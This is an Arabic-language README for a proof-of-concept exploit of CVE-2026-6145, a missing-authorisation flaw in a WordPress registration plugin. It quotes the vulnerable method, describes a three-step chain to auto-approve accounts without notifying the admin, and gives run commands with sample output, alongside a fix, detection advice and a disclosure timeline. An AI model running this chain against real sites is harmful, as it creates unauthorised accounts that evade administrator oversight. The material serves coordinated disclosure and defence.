
User Registration & Membership <= 5.1.5 - تجاوز موافقة المسؤول نتيجة غياب التفويض دون مصادقة عبر معامل 'action'
استغلال إثبات مفهوم لـ CVE-2026-6145، وهو ثغرة تفويض مفقود في إضافة User Registration & Membership لـ WordPress (≤ 5.1.5) تتيح للمهاجمين غير المصادق عليهم تجاوز شرط موافقة المشرف عند إنشاء حسابات جديدة.
| معرّف CVE | CVE-2026-6145 |
| CNA | Wordfence |
| الثغرة | تفويض مفقود — تجاوز موافقة المشرف |
| CWE | CWE-862 (تفويض مفقود) |
| CVSS 3.1 | 5.3 متوسطة (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| الإصدار المتأثر | User Registration & Membership لـ WordPress — جميع الإصدارات ≤ 5.1.5 |
| الإصدار المُصحَّح | الإصدار > 5.1.5 |
| الباحث | Anthony Cihan — قائد أمن الهجوم، Obviam |
| الإفصاح | برنامج الإفصاح المسؤول من Wordfence |
| تاريخ النشر | 2026-05-14 |
طريقة is_admin_creation_process() في includes/class-ur-user-approval.php هي البوابة الوحيدة التي تحدد ما إذا كان التسجيل الجديد يجب أن يُعامل كإنشاء بدأه المشرف. عندما تُرجع هذه الطريقة true، يحدث أثران جانبيان:
set_user_status() يضبط حالة المستخدم الجديد على APPROVED، متجاوزًا قائمة الانتظار المعلقة.send_request_notification_to_admin() يكتم رسالة إشعار المشرف الإلكترونية للتسجيل الجديد.الطريقة نفسها، في الإصدار 5.1.5، لا تحتوي على أي تحقق من المصادقة أو التفويض أو nonce:
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
وبما أن $_REQUEST يدمج $_GET و$_POST و$_COOKIE، يمكن لمهاجم غير مصادق تلبية هذا الفحص بإضافة ?action=createuser إلى عنوان URL لإرسال نموذج تسجيل. بعدها تقوم الإضافة بالموافقة التلقائية على الحساب ولا تنبّه المشرف أبدًا.
في حين أن CVE-2026-6145 يعالج تحديدًا التفويض المفقود في is_admin_creation_process()، فإن الاستغلال الكامل دون مصادقة ضد نموذج تسجيل محصَّن يتطلب ربطه بمسألتين إضافيتين في نفس إصدار الإضافة، وكلتاهما يعالجها إثبات المفهوم المرفق تلقائيًا:
النتيجة: حساب مستخدم موافَق عليه بالكامل، تم إنشاؤه دون تدخل المشرف أو إشعاره، على موقع يتطلب صراحةً موافقة المشرف للتسجيلات الجديدة.
requestsdata-form-id)git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <target_url> <form_id>
مثال:
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
بعد تشغيل إثبات المفهوم، سجّل الدخول إلى wp-admin وتحقق من Users → All Users:
في مواقع WordPress التي تستخدم موافقة المشرف كبوابة رئيسية ضد إنشاء الحسابات غير المرغوب فيها — وهو أمر شائع في مواقع العضويات والمجتمعات المقيّدة والبوابات الداخلية ومنصات B2B وأي موقع يتطلب التحقق من الهوية قبل الوصول — تعمل هذه الثغرة على تحييد هذا التحكم بصمت. تشمل العواقب المحددة:
تعكس درجة CVSS تأثيرًا على السلامة فقط (لا فقدان مباشر لسرية البيانات أو انقطاع الخدمة)، لكن التأثير في العالم الحقيقي يتزايد مع اعتماد الموقع المتأثر على سير عمل الموافقة كحد أمني.
| الإصدار | الحالة |
|---|---|
| ≤ 5.1.5 | قابل للاستغلال |
| > 5.1.5 | مُصحَّح |
Users → All Users بحثًا عن حسابات موافَق عليها غير متوقعة أُنشئت منذ تثبيت الإصدار المعرض للخطر. انتبه بشكل خاص للحسابات التي لا توجد لها رسالة إشعار مشرف مقابلة.يجب أن تتطلب الطريقة المعرضة للخطر كلا من فحص الصلاحية وnonce صالح:
protected function is_admin_creation_process() {
return current_user_can( 'create_users' )
&& isset( $_REQUEST['action'] )
&& 'createuser' === $_REQUEST['action']
&& isset( $_REQUEST['_wpnonce_create-user'] )
&& wp_verify_nonce(
wp_unslash( $_REQUEST['_wpnonce_create-user'] ),
'create-user'
);
}
| التاريخ | الحدث |
|---|---|
| 2026-03-09 | تم تحديد الثغرة أثناء تدقيق أمني مرخّص للإضافة v5.1.4 |
قد يهتم الباحثون الذين يتتبعون نموذج التفويض لهذه الإضافة أيضًا بـ:
register_member (≤ 5.1.2)البحث والاكتشاف وتطوير إثبات المفهوم:
Anthony Cihan قائد أمن الهجوم — Obviam
إذا أشرت إلى هذا العمل، يرجى الاستشهاد بـ CVE-2026-6145 مع نسبه إلى Anthony Cihan / Obviam.
يُنشر إثبات المفهوم هذا لأغراض البحث الدفاعي وهندسة الاكتشاف والاختبارات الأمنية المصرح بها فقط. وهو يهدف إلى مساعدة:
أُجري البحث الأصلي في بيئة مختبرية مرخَّصة بموجب اتفاقية موقعة، مع إفصاح منسق للبائع عبر برنامج الإفصاح المسؤول من Wordfence قبل الإصدار العام.
تشغيل إثبات المفهوم هذا ضد أي نظام لا تملكه أو ليس لديك تصريح كتابي صريح لاختباره يعتبر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الحاسوب الأمريكي (18 U.S.C. § 1030)، وقانون إساءة استخدام الحاسوب البريطاني لعام 1990، وتوجيه الاتحاد الأوروبي 2013/40/EU، والتشريعات المماثلة في معظم الدول. يخلي المؤلف وObviam مسؤوليتهم عن أي إساءة استخدام لهذا الكود.
باستخدامك هذا المستودع، فإنك تقر بأنك قرأت هذه الشروط وفهمتها وقبلتها.
صدر بموجب رخصة MIT. الإسناد مطلوب وفقًا لقسم الاعتمادات أعلاه.
| الخطوة | المسألة | الغرض |
|---|
| 1 | توليد nonce دون مصادقة عبر نقطة نهاية user_registration_get_recent_nonce من نوع wp_ajax_nopriv (تحقق من المرجع فقط) | الحصول على ur_frontend_form_nonce صالح دون جلسة مصادقة |
| 2 | تجاوز فحص nonce الخاص بـ AJAX عندما تكون ur_fallback_submit غير فارغة في معالج النموذج | إرسال التسجيل عبر مسار الاحتياط دون مرجع AJAX صالح |
| 3 | CVE-2026-6145 — action=createuser في $_REQUEST يقلب is_admin_creation_process() إلى true | الموافقة التلقائية على الحساب الجديد وكتم إشعار المشرف |
| 2026-03-09 | تم إرسال التقرير الأولي إلى برنامج الإفصاح المسؤول من Wordfence |
| 2026-04-12 | تم حجز CVE-2026-6145 بواسطة Wordfence (CNA) |
| 2026-05-14 | تم نشر إصدار البائع المُصحَّح؛ ونُشر CVE-2026-6145 |
| 2026-05-14 | تم إصدار إثبات المفهوم هذا بالتنسيق مع الاستشارة العامة |